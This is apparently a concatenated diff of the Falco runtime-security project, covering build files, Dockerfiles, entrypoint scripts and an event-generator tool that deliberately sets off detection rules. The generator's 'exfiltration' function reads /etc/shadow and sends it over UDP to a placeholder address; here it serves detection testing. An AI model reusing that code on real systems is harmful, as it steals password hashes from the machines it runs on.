BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/cloudtrail-rules-prefix/src/cloudtrail-rules/aws_cloudtrail_rules.yaml" DESTINATION "${FALCO_ETC_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")
set(PLUGIN_JSON_VERSION "0.5.0")
if(${CMAKE_HOST_SYSTEM_PROCESSOR} STREQUAL "x86_64")
set(PLUGIN_JSON_HASH "b422c4f08bb54ccd384a87c5922e120d5731028c87742ef657cacf936447c202")
else() # aarch64
set(PLUGIN_JSON_HASH "8358f04325d8a9e9675f38fae8d13a250fb132dcf6741fd0f9830e8c39f48aed")
endif()
ExternalProject_Add(
json-plugin
URL "https://download.falco.org/plugins/stable/json-${PLUGIN_JSON_VERSION}-${PLUGINS_SYSTEM_NAME}-${CMAKE_HOST_SYSTEM_PROCESSOR}.tar.gz"
URL_HASH "SHA256=${PLUGIN_JSON_HASH}"
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND "")
install(FILES "${PROJECT_BINARY_DIR}/json-plugin-prefix/src/json-plugin/libjson.so" DESTINATION "${FALCO_PLUGINS_DIR}" COMPONENT "${PLUGINS_COMPONENT_NAME}")

View File

@@ -1,43 +0,0 @@
# create the reports folder
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports)
file(MAKE_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck)
# cppcheck
mark_as_advanced(CPPCHECK CPPCHECK_HTMLREPORT)
find_program(CPPCHECK cppcheck)
find_program(CPPCHECK_HTMLREPORT cppcheck-htmlreport)
if(NOT CPPCHECK)
message(STATUS "cppcheck command not found, static code analysis using cppcheck will not be available.")
else()
message(STATUS "cppcheck found at: ${CPPCHECK}")
# we are aware that cppcheck can be run
# along with the software compilation in a single step
# using the CMAKE_CXX_CPPCHECK variables.
# However, for practical needs we want to keep the
# two things separated and have a specific target for it.
# Our cppcheck target reads the compilation database produced by CMake
set(CMAKE_EXPORT_COMPILE_COMMANDS On)
add_custom_target(
cppcheck
COMMAND ${CPPCHECK}
"--enable=all"
"--force"
"--inconclusive"
"--inline-suppr" # allows to specify suppressions directly in source code
"--project=${CMAKE_CURRENT_BINARY_DIR}/compile_commands.json" # use the compilation database as source
"--quiet"
"--xml" # we want to generate a report
"--output-file=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck/cppcheck.xml" # generate the report under the reports folder in the build folder
"-i${CMAKE_CURRENT_BINARY_DIR}"# exclude the build folder
)
endif() # CPPCHECK
if(NOT CPPCHECK_HTMLREPORT)
message(STATUS "cppcheck-htmlreport command not found, will not be able to produce html reports for cppcheck results")
else()
message(STATUS "cppcheck-htmlreport found at: ${CPPCHECK_HTMLREPORT}")
add_custom_target(
cppcheck_htmlreport
COMMAND ${CPPCHECK_HTMLREPORT} --title=${CMAKE_PROJECT_NAME} --report-dir=${CMAKE_CURRENT_BINARY_DIR}/static-analysis-reports/cppcheck --file=static-analysis-reports/cppcheck/cppcheck.xml)
endif() # CPPCHECK_HTMLREPORT

View File

@@ -1,5 +1,5 @@
#
# Copyright (C) 2022 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
@@ -12,18 +12,23 @@
#
cmake_minimum_required(VERSION 3.5.1)
project(driver-repo NONE)
project(sysdig-repo NONE)
include(ExternalProject)
message(STATUS "Driver version: ${DRIVER_VERSION}")
# The sysdig git reference (branch name, commit hash, or tag)
# To update sysdig version for the next release, change the default below
# In case you want to test against another sysdig version just pass the variable - ie., `cmake -DSYSDIG_VERSION=dev ..`
if(NOT SYSDIG_VERSION)
set(SYSDIG_VERSION "146a431edf95829ac11bfd9c85ba3ef08789bffe")
endif()
ExternalProject_Add(
driver
URL "https://github.com/falcosecurity/libs/archive/${DRIVER_VERSION}.tar.gz"
URL_HASH "${DRIVER_CHECKSUM}"
sysdig
URL "https://github.com/draios/sysdig/archive/${SYSDIG_VERSION}.tar.gz"
# URL_HASH SHA256=bd09607aa8beb863db07e695863f7dc543e2d39e7153005759d26a340ff66fa5
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
TEST_COMMAND ""
PATCH_COMMAND sh -c "mv ./driver ../driver.tmp && rm -rf ./* && mv ../driver.tmp/* ."
)
TEST_COMMAND "")

View File

@@ -0,0 +1,57 @@
#
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
set(SYSDIG_CMAKE_SOURCE_DIR "${CMAKE_CURRENT_SOURCE_DIR}/cmake/modules/sysdig-repo")
set(SYSDIG_CMAKE_WORKING_DIR "${CMAKE_BINARY_DIR}/sysdig-repo")
# this needs to be here at the top
if(USE_BUNDLED_DEPS)
# explicitly force this dependency to use the system OpenSSL
set(USE_BUNDLED_OPENSSL ON)
endif()
file(MAKE_DIRECTORY ${SYSDIG_CMAKE_WORKING_DIR})
# cd /path/to/build && cmake /path/to/source
execute_process(COMMAND "${CMAKE_COMMAND}" ${SYSDIG_CMAKE_SOURCE_DIR} WORKING_DIRECTORY ${SYSDIG_CMAKE_WORKING_DIR})
# todo(leodido, fntlnz) > use the following one when CMake version will be >= 3.13
# execute_process(COMMAND "${CMAKE_COMMAND}" -B ${SYSDIG_CMAKE_WORKING_DIR} WORKING_DIRECTORY
# "${SYSDIG_CMAKE_SOURCE_DIR}")
execute_process(COMMAND "${CMAKE_COMMAND}" --build . WORKING_DIRECTORY "${SYSDIG_CMAKE_WORKING_DIR}")
set(SYSDIG_SOURCE_DIR "${SYSDIG_CMAKE_WORKING_DIR}/sysdig-prefix/src/sysdig")
# jsoncpp
set(JSONCPP_SRC "${SYSDIG_SOURCE_DIR}/userspace/libsinsp/third-party/jsoncpp")
set(JSONCPP_INCLUDE "${JSONCPP_SRC}")
set(JSONCPP_LIB_SRC "${JSONCPP_SRC}/jsoncpp.cpp")
# Add driver directory
add_subdirectory("${SYSDIG_SOURCE_DIR}/driver" "${PROJECT_BINARY_DIR}/driver")
# Add libscap directory
add_definitions(-D_GNU_SOURCE)
add_definitions(-DHAS_CAPTURE)
add_subdirectory("${SYSDIG_SOURCE_DIR}/userspace/libscap" "${PROJECT_BINARY_DIR}/userspace/libscap")
# Add libsinsp directory
add_subdirectory("${SYSDIG_SOURCE_DIR}/userspace/libsinsp" "${PROJECT_BINARY_DIR}/userspace/libsinsp")
add_dependencies(sinsp tbb b64 luajit)
# explicitly disable the tests of this dependency
set(CREATE_TEST_TARGETS OFF)
if(USE_BUNDLED_DEPS)
add_dependencies(scap grpc curl jq)
endif()

View File

@@ -1,5 +1,5 @@
#
# Copyright (C) 2020 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with
# the License. You may obtain a copy of the License at
@@ -10,7 +10,6 @@
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
# specific language governing permissions and limitations under the License.
#
mark_as_advanced(YAMLCPP_INCLUDE_DIR YAMLCPP_LIB)
if(NOT USE_BUNDLED_DEPS)
find_path(YAMLCPP_INCLUDE_DIR NAMES yaml-cpp/yaml.h)
find_library(YAMLCPP_LIB NAMES yaml-cpp)
@@ -27,8 +26,7 @@ else()
ExternalProject_Add(
yamlcpp
URL "https://github.com/jbeder/yaml-cpp/archive/yaml-cpp-0.6.2.tar.gz"
URL_HASH "SHA256=e4d8560e163c3d875fd5d9e5542b5fd5bec810febdcba61481fe5fc4e6b1fd05"
BUILD_BYPRODUCTS ${YAMLCPP_LIB}
URL_MD5 "5b943e9af0060d0811148b037449ef82"
BUILD_IN_SOURCE 1
INSTALL_COMMAND "")
endif()

View File

@@ -1,6 +1,2 @@
labels:
- area/integration
approvers:
- leogr
reviewers:
- leogr
- area/integration

View File

@@ -1,17 +1,30 @@
# Falco Dockerfiles
This directory contains various ways to package Falco as a container and related tools.
This directory contains the various ways to package Falco as a container.
## Currently Supported Images
## Currently Supported Containers
| Name | Directory | Description |
|---|---|---|
| [falcosecurity/falco:latest](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco), [falcosecurity/falco:master](https://hub.docker.com/repository/docker/falcosecurity/falco) | docker/falco | Falco (DEB built from git tag or from the master) with all the building toolchain. |
| _not yet published (experimental)_ | docker/ubi | Falco (built from RedHat's UBI base image) with the building toolchain. |
| [falcosecurity/falco-driver-loader:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader), [falcosecurity/falco-driver-loader:master](https://hub.docker.com/repository/docker/falcosecurity/falco-driver-loader) | docker/driver-loader | `falco-driver-loader` as entrypoint with the building toolchain. |
| [falcosecurity/falco-no-driver:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver), [falcosecurity/falco-no-driver:_tag_](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver),[falcosecurity/falco-no-driver:master](https://hub.docker.com/repository/docker/falcosecurity/falco-no-driver) | docker/no-driver | Falco (TGZ built from git tag or from the master) without the building toolchain. |
| [falcosecurity/falco-builder:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-builder) | docker/builder | The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/getting-started/source/) for more details on building from source. Used to build Falco (CI). |
| [falcosecurity/falco-tester:latest](https://hub.docker.com/repository/docker/falcosecurity/falco-tester) | docker/tester | Container image for running the Falco test suite. Used to run Falco integration tests (CI). |
| _not to be published_ | docker/local | Built on-the-fly and used by falco-tester. |
### `falcosecurity/falco` Dockerfiles
- `./dev`: Builds a container image from the `dev` apt repo.
- `./stable`: Builds a container image from the `stable` apt repo.
- `./local`: Builds a container image from a locally provided Falco `dpkg` package.
### Build & Testing Dockerfiles
- `./builder`: `falcosecurity/falco-builder` - The complete build tool chain for compiling Falco from source. See [the documentation](https://falco.org/docs/source/) for more details on building from source.
- `./tester`: `falcosecurity/falco-tester` - Container image for running the Falco test suite.
## Alpha Release Containers
These Dockerfiles (and resulting container images) are currently in `alpha`. We'd love for you to test these images and [report any feedback](https://github.com/falcosecurity/falco/issues/new/choose).
### Slim and Minimal Dockerfiles
The goal of these container images is to reduce the size of the underlying Falco container.
- `./slim-dev`: Like `./dev` above but removes build tools for older kernels.
- `./slim-stable`: Like `./stable` above but removes build tools for older kernels.
- `./minimal`: A minimal container image (~20mb), containing only the files required to run Falco.
### Init Containers
These container images allow for the delivery of the kernel module or eBPF probe either via HTTP or via a container image.
- `kernel/linuxkit`: Multistage Dockerfile to build a Falco kernel module for Linuxkit (Docker Desktop). Generates an alpine based container image with the kernel module, and `insmod` as the container `CMD`.
- `kernel/probeloader`: Multistage Dockerfile to build a Go based application to download (via HTTPS) and load a Falco kernel module. The resulting container image can be ran as an `initContainer` to load the Falco module before Falco starts.
> Note: `falco-builder`, `falco-tester` (and the `docker/local` image that it's built on the fly) are not integrated into the release process because they are development and CI tools that need to be manually pushed only when updated.

View File

@@ -2,7 +2,7 @@ FROM centos:7
LABEL name="falcosecurity/falco-builder"
LABEL usage="docker run -v $PWD/..:/source -v $PWD/build:/build falcosecurity/falco-builder cmake"
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL maintainer="opensource@sysdig.com"
ARG BUILD_TYPE=release
ARG BUILD_DRIVER=OFF
@@ -10,7 +10,6 @@ ARG BUILD_BPF=OFF
ARG BUILD_WARNINGS_AS_ERRORS=ON
ARG MAKE_JOBS=4
ARG FALCO_VERSION
ARG CMAKE_VERSION=3.22.5
ENV BUILD_TYPE=${BUILD_TYPE}
ENV BUILD_DRIVER=${BUILD_DRIVER}
@@ -18,22 +17,22 @@ ENV BUILD_BPF=${BUILD_BPF}
ENV BUILD_WARNINGS_AS_ERRORS=${BUILD_WARNINGS_AS_ERRORS}
ENV MAKE_JOBS=${MAKE_JOBS}
ENV FALCO_VERSION=${FALCO_VERSION}
ENV CMAKE_VERSION=${CMAKE_VERSION}
# build toolchain
RUN yum -y install centos-release-scl && \
INSTALL_PKGS="devtoolset-7-gcc devtoolset-7-gcc-c++ devtoolset-7-toolchain devtoolset-7-libstdc++-devel devtoolset-7-elfutils-libelf-devel llvm-toolset-7.0 glibc-static autoconf automake libtool createrepo expect git which libcurl-devel zlib-devel rpm-build libyaml-devel" && \
INSTALL_PKGS="devtoolset-7-gcc devtoolset-7-gcc-c++ devtoolset-7-toolchain devtoolset-7-libstdc++-devel devtoolset-7-elfutils-libelf-devel llvm-toolset-7 glibc-static autoconf automake libtool createrepo expect git which libcurl-devel zlib-devel ncurses-devel rpm-build libyaml-devel" && \
yum -y install --setopt=tsflags=nodocs $INSTALL_PKGS && \
rpm -V $INSTALL_PKGS
RUN source scl_source enable devtoolset-7 llvm-toolset-7.0
RUN curl -L -o /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz https://github.com/kitware/cmake/releases/download/v${CMAKE_VERSION}/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz && \
gzip -d /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar.gz && \
tar -xpf /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m).tar --directory=/tmp && \
cp -R /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m)/* /usr && \
rm -rf /tmp/cmake-${CMAKE_VERSION}-linux-$(uname -m)
ARG CMAKE_VERSION=3.5.1
RUN source scl_source enable devtoolset-7 llvm-toolset-7 && \
cd /tmp && \
curl -L https://github.com/kitware/cmake/releases/download/v${CMAKE_VERSION}/cmake-${CMAKE_VERSION}.tar.gz | tar xz; \
cd cmake-${CMAKE_VERSION} && \
./bootstrap --system-curl && \
make -j${MAKE_JOBS} && \
make install && \
rm -rf /tmp/cmake-${CMAKE_VERSION}
COPY ./root /

View File

@@ -1,6 +1,6 @@
# IMPORTANT: Do not add more content to this file unless you know what you are doing.
# This file is sourced every time the shell session is opened.
# This file is sourced everytime the shell session is opened.
#
# This will make scl collection binaries work out of box.
unset BASH_ENV PROMPT_COMMAND ENV
source scl_source enable devtoolset-7 llvm-toolset-7.0
source scl_source enable devtoolset-7 llvm-toolset-7

View File

@@ -18,7 +18,7 @@ How to use.
* docker run -ti falcosecurity/falco-builder bash
To build Falco it needs:
- a bind-mount on the source directory (ie., the directory containing the Falco source as sibling)
- a bind-mount on the source directory (ie., the directory containing Falco and sysdig source as siblings)
Optionally, you can also bind-mount the build directory.
So, you can execute it from the Falco root directory as follows.

110
docker/dev/Dockerfile Normal file
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@@ -0,0 +1,110 @@
FROM debian:unstable
LABEL maintainer="opensource@sysdig.com"
ENV FALCO_REPOSITORY dev
LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
ENV HOST_ROOT /host
ENV HOME /root
RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
RUN apt-get update \
&& apt-get install -y --no-install-recommends \
bash-completion \
bc \
clang-7 \
ca-certificates \
curl \
dkms \
gnupg2 \
gcc \
gdb \
jq \
libc6-dev \
libelf-dev \
llvm-7 \
netcat \
xz-utils \
&& rm -rf /var/lib/apt/lists/*
# gcc 6 is no longer included in debian unstable, but we need it to
# build kernel modules on the default debian-based ami used by
# kops. So grab copies we've saved from debian snapshots with the
# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
# or so.
RUN curl -o cpp-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/cpp-6_6.3.0-18_amd64.deb \
&& curl -o gcc-6-base_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6-base_6.3.0-18_amd64.deb \
&& curl -o gcc-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6_6.3.0-18_amd64.deb \
&& curl -o libasan3_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libasan3_6.3.0-18_amd64.deb \
&& curl -o libcilkrts5_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libcilkrts5_6.3.0-18_amd64.deb \
&& curl -o libgcc-6-dev_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libgcc-6-dev_6.3.0-18_amd64.deb \
&& curl -o libubsan0_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libubsan0_6.3.0-18_amd64.deb \
&& curl -o libmpfr4_3.1.3-2_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libmpfr4_3.1.3-2_amd64.deb \
&& curl -o libisl15_0.18-1_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libisl15_0.18-1_amd64.deb \
&& dpkg -i cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb \
&& rm -f cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb
# gcc 5 is no longer included in debian unstable, but we need it to
# build centos kernels, which are 3.x based and explicitly want a gcc
# version 3, 4, or 5 compiler. So grab copies we've saved from debian
# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
RUN curl -o cpp-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/cpp-5_5.5.0-12_amd64.deb \
&& curl -o gcc-5-base_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5-base_5.5.0-12_amd64.deb \
&& curl -o gcc-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5_5.5.0-12_amd64.deb \
&& curl -o libasan2_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libasan2_5.5.0-12_amd64.deb \
&& curl -o libgcc-5-dev_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libgcc-5-dev_5.5.0-12_amd64.deb \
&& curl -o libisl15_0.18-4_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libisl15_0.18-4_amd64.deb \
&& curl -o libmpx0_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libmpx0_5.5.0-12_amd64.deb \
&& dpkg -i cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb \
&& rm -f cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb
# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
# default to gcc-5.
RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
RUN rm -rf /usr/bin/clang \
&& rm -rf /usr/bin/llc \
&& ln -s /usr/bin/clang-7 /usr/bin/clang \
&& ln -s /usr/bin/llc-7 /usr/bin/llc
RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
&& apt-get update \
&& apt-get install -y --no-install-recommends falco \
&& apt-get clean \
&& rm -rf /var/lib/apt/lists/*
# Change the falco config within the container to enable ISO 8601
# output.
RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
# Some base images have an empty /lib/modules by default
# If it's not empty, docker build will fail instead of
# silently overwriting the existing directory
RUN rm -df /lib/modules \
&& ln -s $HOST_ROOT/lib/modules /lib/modules
# debian:unstable head contains binutils 2.31, which generates
# binaries that are incompatible with kernels < 4.16. So manually
# forcibly install binutils 2.30-22 instead.
RUN curl -s -o binutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils_2.30-22_amd64.deb \
&& curl -s -o libbinutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libbinutils_2.30-22_amd64.deb \
&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
&& curl -s -o binutils-common_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-common_2.30-22_amd64.deb \
&& dpkg -i *binutils*.deb \
&& rm -f *binutils*.deb
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]
CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

View File

@@ -1,6 +1,6 @@
#!/usr/bin/env bash
#
# Copyright (C) 2020 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,18 +16,19 @@
# limitations under the License.
#
# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
# set -e
if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
echo "* Setting up /usr/src links from host"
for i in "$HOST_ROOT/usr/src"/*
do
base=$(basename "$i")
ln -s "$i" "/usr/src/$base"
ln -s "$i" "/usr/src/$i"
done
/usr/bin/falco-driver-loader
/usr/bin/falco-probe-loader
fi
exec "$@"

View File

@@ -1,13 +0,0 @@
ARG FALCO_IMAGE_TAG=latest
FROM falcosecurity/falco:${FALCO_IMAGE_TAG}
LABEL maintainer="cncf-falco-dev@lists.cncf.io"
LABEL usage="docker run -i -t --privileged -v /root/.falco:/root/.falco -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --name NAME IMAGE"
ENV HOST_ROOT /host
ENV HOME /root
COPY ./docker-entrypoint.sh /
ENTRYPOINT ["/docker-entrypoint.sh"]

View File

@@ -0,0 +1,10 @@
FROM alpine:latest
LABEL maintainer="opensource@sysdig.com"
RUN apk add --no-cache bash g++ curl
COPY ./event_generator.cpp /usr/local/bin
COPY ./docker-entrypoint.sh ./k8s_event_generator.sh /
COPY ./yaml /yaml
RUN mkdir -p /var/lib/rpm
RUN g++ --std=c++0x /usr/local/bin/event_generator.cpp -o /usr/local/bin/event_generator
RUN curl -o /usr/local/bin/kubectl -LO https://storage.googleapis.com/kubernetes-release/release/`curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt`/bin/linux/amd64/kubectl && chmod +x /usr/local/bin/kubectl
ENTRYPOINT ["/docker-entrypoint.sh"]

View File

@@ -1,5 +1,5 @@
#
# Copyright (C) 2022 The Falco Authors.
# Copyright (C) 2019 The Falco Authors.
#
#
# Licensed under the Apache License, Version 2.0 (the "License");
@@ -14,5 +14,5 @@
# See the License for the specific language governing permissions and
# limitations under the License.
#
/usr/bin/falco-driver-loader --clean
image:
docker build -t sysdig/falco-event-generator:latest .

View File

@@ -0,0 +1,21 @@
#!/bin/bash
CMD=${1:-syscall}
shift
set -euo pipefail
if [[ "$CMD" == "syscall" ]]; then
/usr/local/bin/event_generator
elif [[ "$CMD" == "k8s_audit" ]]; then
. k8s_event_generator.sh
elif [[ "$CMD" == "bash" ]]; then
bash
else
echo "Unknown command. Can be one of"
echo " \"syscall\": generate falco syscall-related activity"
echo " \"k8s_audit\": generate falco k8s audit-related activity"
echo " \"bash\": spawn a shell"
exit 1
fi

View File

@@ -0,0 +1,535 @@
/*
Copyright (C) 2019 The Falco Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#include <cstdio>
#include <utility>
#include <map>
#include <set>
#include <string>
#include <fstream>
#include <sstream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
#include <getopt.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <pwd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
using namespace std;
void usage(char *program)
{
printf("Usage %s [options]\n\n", program);
printf("Options:\n");
printf(" -h/--help: show this help\n");
printf(" -a/--action: actions to perform. Can be one of the following:\n");
printf(" write_binary_dir Write to files below /bin\n");
printf(" write_etc Write to files below /etc\n");
printf(" read_sensitive_file Read a sensitive file\n");
printf(" read_sensitive_file_after_startup As a trusted program, wait a while,\n");
printf(" then read a sensitive file\n");
printf(" write_rpm_database Write to files below /var/lib/rpm\n");
printf(" spawn_shell Run a shell (bash)\n");
printf(" Used by spawn_shell_under_httpd below\n");
printf(" spawn_shell_under_httpd Run a shell (bash) under a httpd process\n");
printf(" db_program_spawn_process As a database program, try to spawn\n");
printf(" another program\n");
printf(" modify_binary_dirs Modify a file below /bin\n");
printf(" mkdir_binary_dirs Create a directory below /bin\n");
printf(" change_thread_namespace Change namespace\n");
printf(" system_user_interactive Change to a system user and try to\n");
printf(" run an interactive command\n");
printf(" network_activity Open network connections\n");
printf(" (used by system_procs_network_activity below)\n");
printf(" system_procs_network_activity Open network connections as a program\n");
printf(" that should not perform network actions\n");
printf(" non_sudo_setuid Setuid as a non-root user\n");
printf(" create_files_below_dev Create files below /dev\n");
printf(" exec_ls execve() the program ls\n");
printf(" (used by user_mgmt_binaries, db_program_spawn_process)\n");
printf(" user_mgmt_binaries Become the program \"vipw\", which triggers\n");
printf(" rules related to user management programs\n");
printf(" exfiltration Read /etc/shadow and send it via udp to a\n");
printf(" specific address and port\n");
printf(" all All of the above\n");
printf(" The action can also be specified via the environment variable EVENT_GENERATOR_ACTIONS\n");
printf(" as a colon-separated list\n");
printf(" if specified, -a/--action overrides any environment variables\n");
printf(" -i/--interval: Number of seconds between actions\n");
printf(" -o/--once: Perform actions once and exit\n");
}
void open_file(const char *filename, const char *flags)
{
FILE *f = fopen(filename, flags);
if(f)
{
fclose(f);
}
else
{
fprintf(stderr, "Could not open %s for writing: %s\n", filename, strerror(errno));
}
}
void exfiltration()
{
ifstream shadow;
shadow.open("/etc/shadow");
printf("Reading /etc/shadow and sending to 10.5.2.6:8197...\n");
if(!shadow.is_open())
{
fprintf(stderr, "Could not open /etc/shadow for reading: %s", strerror(errno));
return;
}
string line;
string shadow_contents;
while(getline(shadow, line))
{
shadow_contents += line;
shadow_contents += "\n";
}
int rc;
ssize_t sent;
int sock = socket(PF_INET, SOCK_DGRAM, 0);
struct sockaddr_in dest;
dest.sin_family = AF_INET;
dest.sin_port = htons(8197);
inet_aton("10.5.2.6", &(dest.sin_addr));
if((rc = connect(sock, (struct sockaddr *)&dest, sizeof(dest))) != 0)
{
fprintf(stderr, "Could not bind listening socket to dest: %s\n", strerror(errno));
return;
}
if((sent = send(sock, shadow_contents.c_str(), shadow_contents.size(), 0)) != shadow_contents.size())
{
fprintf(stderr, "Could not send shadow contents via udp datagram: %s\n", strerror(errno));
return;
}
close(sock);
}
void touch(const char *filename)
{
open_file(filename, "w");
}
void read(const char *filename)
{
open_file(filename, "r");
}
void become_user(const char *user)
{
struct passwd *pw;
pw = getpwnam(user);
if(pw == NULL)
{
fprintf(stderr, "Could not find user information for \"%s\" user: %s\n", user, strerror(errno));
exit(1);
}
int rc = setuid(pw->pw_uid);
if(rc != 0)
{
fprintf(stderr, "Could not change user to \"%s\" (uid %u): %s\n", user, pw->pw_uid, strerror(errno));
exit(1);
}
}
void spawn(const char *cmd, char **argv, char **env)
{
pid_t child;
// Fork a process, that way proc.duration is reset
if((child = fork()) == 0)
{
execve(cmd, argv, env);
fprintf(stderr, "Could not exec to spawn %s: %s\n", cmd, strerror(errno));
}
else
{
int status;
waitpid(child, &status, 0);
}
}
void respawn(const char *cmd, const char *action, const char *interval)
{
char *argv[] = {(char *)cmd,
(char *)"--action", (char *)action,
